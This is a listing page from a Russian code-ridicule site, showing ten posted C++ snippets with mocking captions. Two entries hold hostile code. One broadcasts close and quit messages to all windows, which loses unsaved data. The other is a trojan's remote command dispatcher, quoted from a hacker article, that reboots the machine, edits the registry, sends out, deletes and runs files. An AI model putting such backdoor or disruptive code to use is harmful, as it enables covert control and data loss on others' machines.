1. C++ / Говнокод #15574

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #include <Windows.h>
    
    int main(int argc, char* argv[])
    {
    	PostMessageA(HWND_BROADCAST, WM_CLOSE, 0, 0);       // Противник оглушен!
    	PostMessageA(HWND_BROADCAST, WM_DESTROY, 0, 0);  // Finish him!
    	PostMessageA(HWND_BROADCAST, WM_QUIT, 0, 0);         // FATALITY!!!
    
    	return 0;
    }

    Вот так, легко и непринужденно, мы заставляем ОС Windows перезагрузиться с потерей всех несохраненных данных, попутно кладя большой и толстый на UAC.

    gost, 25 Марта 2014

    Комментарии (31)
  2. C++ / Говнокод #15573

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    #include "iostream"
    using namespace std;
    void main ()
    {
    setlocale(LC_ALL,"Russian"); //Поддержка киррилицы
    
    float A1,A2,A3,A4,A5;  
    int N;
    int i;
    cout<<"Введите количество выступлений"<<endl;
    cin>>N;   //Вводим кол-во выступлений
    for(i=0;i<N;i++)  //Вводим массив
    {cout<<"Введите оценки за выступление"<<endl;
    cout<<"Введите оценку 1"<<endl;
    cin>>A1;
    cout<<"Введите оценку 2"<<endl;
    cin>>A2;
    cout<<"Введите оценку 3"<<endl;
    cin>>A3;
    cout<<"Введите оценку 4"<<endl;
    cin>>A4;
    cout<<"Введите оценку 5"<<endl;
    cin>>A5;
    
    if(A1>A2&&A1>A3&&A1>A4&&A1>A5) {cout<<A1;}  
    else if (A2>A1&&A2>A3&&A2>A4&&A2>A5) {cout<<"Максимальная оценка = "<<A2<<endl; }
    else if (A3>A1&&A3>A2&&A3>A4&&A3>A5) {cout<<"Максимальная оценка = "<<A3<<endl; }
    else if (A4>A1&&A4>A2&&A4>A3&&A4>A5) {cout<<"Максимальная оценка = "<<A4<<endl; }
    else if (A5>A1&&A5>A2&&A5>A3&&A5>A4) {cout<<"Максимальная оценка = "<<A5<<endl; }
    
    }
    }

    ЗАДАЧА
    Пожалуйста помогите составить для задачи на с++
    Я решаю задачи, но блок схемы строить не могу

    С ответов Гугла.
    http://otvety.google.ru/otvety/thread?tid=5bd43c242dce51f8

    gost, 25 Марта 2014

    Комментарии (9)
  3. C++ / Говнокод #15566

    +22

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    switch(par)
    {
      case 'O' : cdcb.Parity = ODDPARITY;
      case 'M': cdcb.Parity = MARKPARITY;
      case 'E'  : cdcb.Parity = EVENPARITY;
      case 'N' : cdcb.Parity = NOPARITY;
      default  : cdcb.Parity = NOPARITY;
    }

    И это в классе dracula

    xantue, 24 Марта 2014

    Комментарии (27)
  4. C++ / Говнокод #15551

    +13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    // ServSckt - наш компонент TServerSocket
    ServSckt->Port = 4321;
    ServSckt->Active = true;
    }
     
    void __fastcall TForm1::ServScktClientRead(TObject *Sender,
          TCustomWinSocket *Socket)
    {
    RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                      // информации, которую передаем как параметр этой функции
    }
    //---------------------------------------------------------------------------
    // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
    void TForm1::RecCommand (String received)
    {
    int cn;
    TTrojanUtilites Utilz;  // создаем объект наших утилит 
    Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                    // находится на форме, а TTrojanUtilites не имеет никакого отношения
                    // к форме. Просто передаем указатель на TServerSocket
    String temp;
    temp=received;
    temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
    cn = StrToInt(temp);       // преобразуем в число
    received.Delete(1,1);      // удаляем код команды - остаются одни параметры
    switch (cn) {         // в соответсвии с полученой командой 
                                    // запускаем соотвествующую утилиту 
    case 1 : Utilz.RestartMachine(); break;  // перезагрузка
    case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
    case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
    case 4 : Utilz.SendFile(received); break;       // чтение файла
    case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
    case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
    case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
    case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
    case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
    default:
    SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                               // информируем клиента об этом
    }
    }

    NAT, NAT... Да что вы пристали со своим NAT?!
    Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html

    gost, 21 Марта 2014

    Комментарии (16)
  5. C++ / Говнокод #15545

    +15

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    // file: Filter.h
    
            inline const CString GetField() const
            {
                if (m_strField.compare(MBL_FT_AUTHID_STRING) == 0)
                {
                    return CString(MBL_FT_AUTHID_SERVER_STRING);
                }
                else if (m_strField.compare(MBL_FT_CORRELATION_ID_STRING) == 0)
                {
                    return CString(MBL_FT_CORRELATION_ID_SERVER_STRING);
                }
                else if (m_strField.compare(MBL_FT_PLAN_STRING) == 0)
                {
                    return CString(MBL_FT_PLAN_SERVER_STRING);
                }
                // ... всего 14 веток в таком духе ...
                else if (m_strField.compare(MBL_FT_DDF_ACCOUNTING_STRING_STRING) == 0)
                {
                    return CString(MBL_FT_DDF_ACCOUNTING_STRING_SERVER_STRING);
                }
                return m_strField;
            }

    Автор — русский.

    Lavir_the_Whiolet, 21 Марта 2014

    Комментарии (13)
  6. C++ / Говнокод #15519

    +6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    // функция квадрата расстояния на гексагональном поле
    Fixed SDist2 (Fixed dx, Fixed dy)
    {
    	return (dx*dx+dy*dy+dx*dy);
    }
    
    // а теперь типа находим ближайшее целое, ближайшее в гексагональном смысле
          const Fixed rx = int(rtx), ry = int(rty);
    			const Fixed 
    				d00 = SDist2(rx    -rtx, ry    -rty),
    				d10 = SDist2(rx+fx1-rtx, ry    -rty),
    				d01 = SDist2(rx    -rtx, ry+fx1-rty),
    				d11 = SDist2(rx+fx1-rtx, ry+fx1-rty);
    
    			int x,y;
    			if (d00<d10 && d00<d01 && d00<d11) 
    			{
    				x=int(rx); y=int(ry);
    			} else if (d10<d01 && d10<d11)
    			{
    				x=int(rx)+1; y=int(ry);
    			} else if (d01<d11)
    			{
    				x=int(rx); y=int(ry)+1;
    			} else
    			{
    				x=int(rx)+1; y=int(ry)+1;
    			}

    изящно не получилось

    TarasB, 18 Марта 2014

    Комментарии (22)
  7. C++ / Говнокод #15517

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    #include <iostream>
    
    using namespace std;
    
    class Base {
    public:
           Base() {
                  cout << "Base construct\n";
           }
           virtual  ~Base() {
                  cout << "Base destruct\n";
           }
    };
    
    class Child: public Base {
    public:
           Child() {
                  cout << "Child construct\n";
           }
           ~Child() {
                  cout << "Child destruct\n";
           }
    };
    
    int main() {
           Base *base = new Child();
           delete base;
    }

    Hy нe oчeвиднo жe! Для тoгo, чтoб вызывaлиcь вce дecтpyктopы, нyжнo oбъявить eгo виpтyaльным. B тo вpeмя кaк кoнcтpyктop бeз мoдификaтopa virtual paбoтaeт тaк жe, кaк виpтyaльный дecтpyктop.
    И зaчeм вoбщe ocтaвлять вoзмoжнocть нe виpтyaльнoгo дecтpyктopa - нe мoгy пpeдcтaвить ceбe cлyчaя, кoгдa пpи yдaлeнии oбъeктa нyжeн вызoв дecтpyктopa тoлькo бaзoвoгo клacca.

    Pythoner, 18 Марта 2014

    Комментарии (60)
  8. C++ / Говнокод #15494

    +17

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    // base class for objects that need to be initialized
    //
    struct Initializable
    {
    protected:
    
    	inline void OneTimeInit()
    	{
    #if _DEBUG_BUILD
    		ASSERT(!m__hasBeenIsInitialized);
    		m__hasBeenIsInitialized = true;
    #endif // _DEBUG_BUILD
    	}
    
    	inline void OneTimeDestroy()
    	{
    #if _DEBUG_BUILD
    		ASSERT(m__hasBeenIsInitialized);
    		m__hasBeenIsInitialized = false;
    #endif // _DEBUG_BUILD
    	}
    
    	inline void CheckInitialized()
    	{
    #if _DEBUG_BUILD
    		mxBREAK_IF( !m__hasBeenIsInitialized );
    #endif // _DEBUG_BUILD
    	}
    
    	inline Initializable()
    	{
    #if _DEBUG_BUILD
    		m__hasBeenIsInitialized = false;
    #endif // _DEBUG_BUILD
    	}
    
    	inline ~Initializable()
    	{
    #if _DEBUG_BUILD
    		ASSERT(!m__hasBeenIsInitialized);
    #endif // _DEBUG_BUILD
    	}
    
    private:
    #if _DEBUG_BUILD
    	bool	m__hasBeenIsInitialized;
    #endif // _DEBUG_BUILD
    };
    
    template< class KLASS >	// where KLASS : TGlobal<KLASS>, Initializable
    struct DependsOn
    {
    protected:
    	DependsOn()
    	{
    		ASSERT( KLASS::HasInstance() );
    		ASSERT( KLASS::Get().IsInitialized() );
    	}
    };
    
    template< class KLASS >	// where KLASS : TGlobal<KLASS>
    struct DependsOnGlobal
    {
    protected:
    	DependsOnGlobal()
    	{
    		ASSERT( KLASS::HasInstance() );
    		//ASSERT( KLASS::Get().IsInitialized() );
    	}
    };

    Базовый класс для дебажной проверки того, был ли инициализирован конкретный объект.
    Этот бред находился в самой древней кодобазе, сейчас нигде не используется. Удаляю.

    ThEn00bishProGrammar, 16 Марта 2014

    Комментарии (1)
  9. C++ / Говнокод #15478

    +15

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    #include <iostream>
    #include <string>
    #include <vector>
    #include <list>
    #include <algorithm>
    #include <iterator>
    #include <sstream>
    #include <assert.h>
    using namespace std;
    template<class Container, class Iterator> 
    size_t position(Container&& c, Iterator pos){
        return size_t(distance(begin(c), pos));
    }
    template<class Container, class Iterator, class Iterator2> 
    string sposition(Container&& c, const pair<Iterator, Iterator2>& pos){
        ostringstream r;
        r << "(" << position(c, pos.first) << ", " << position(c, pos.second) << ")";
        return r.str();
    }
    template<class Container, class Value> 
    pair<typename remove_reference<Container>::type::iterator, typename remove_reference<Container>::type::iterator>
     binary_search(Container&& source, const Value& item){
        assert(is_sorted(begin(source), end(source)));
        const auto empty = make_pair(source.end(), source.end());
        auto l = begin(source), r=end(source), m=l;
        while(true){
            if(l==r)
                return empty;
            const auto lr = distance(l,r);
            m = next(l, lr/2);
            if(*m<item)
                l = m;
            if(*m>item)
                r = m;
            if(*m==item)
                break;
            if(l!=r && next(l)==r)
                return empty;
        }
        cout<<"part1"<<endl;
        auto l1=l, r1=m, l2=m, r2=r;
        while(true){
            const auto lr1 = distance(l1, r1);
            m = next(l1, lr1/2);
            if(*m<item)
                l1 = m;
            if(*m>=item)
                r1 = m;
            if(l1==r1 || (*l1<item && *r1>=item))
                break;
        }
        cout<<"part2"<<endl;
        while(true){
            const auto lr2 = distance(l2, r2);
            m = next(l2, lr2/2);
            if(*m<=item)
                l2 = m;
            if(*m>item)
                r2 = m;
            if(l2==r2 || (*l2>=item && (r==r2 || *r2>item)))
                break;
        }
        cout<<"part3"<<endl;
        return {r1, next(l2)};
    }
    int main(){
        vector<int> s{5,7,7,7,9,19,23};
        list<int> s2(s.begin()+1, s.end());
        cout<<sposition(s, binary_search(s, 7))<<endl;
        cout<<sposition(s2, binary_search(s2, 7))<<endl;
        cout<<sposition(s, binary_search(s, 9))<<endl;
        cout<<sposition(s, binary_search(s, 5))<<endl;
        cout<<sposition(s, binary_search(s, 23))<<endl;
        cout<<sposition(s, binary_search(s, 0))<<endl;
        vector<int> e;
        cout<<sposition(e, binary_search(e, 0))<<endl;
        cout<<sposition(s, binary_search(s, 25))<<endl;
        cout<<sposition(s, binary_search(s, 10))<<endl;
        return 0;
    }

    http://coliru.stacked-crooked.com/a/0f74a4661c06cd68
    Специально для @Пи, раз ему хачкель не нравится.

    LispGovno, 14 Марта 2014

    Комментарии (22)
  10. C++ / Говнокод #15416

    +24

    1. 1
    ((x<0) && (y < 0)) ? ({x =-x; y=-y;}) : (((x < 0) || (y < 0)) ? ({x+=0.5; y+=0.5;}) : ( (!(((x > 2.0) || (x < 0.5)) && ( (y > 2.0) || (y < 0.5) ))) ? : ({x/=10;y/=10;}) ) );

    простейшее задание на условия...

    mccloud, 10 Марта 2014

    Комментарии (20)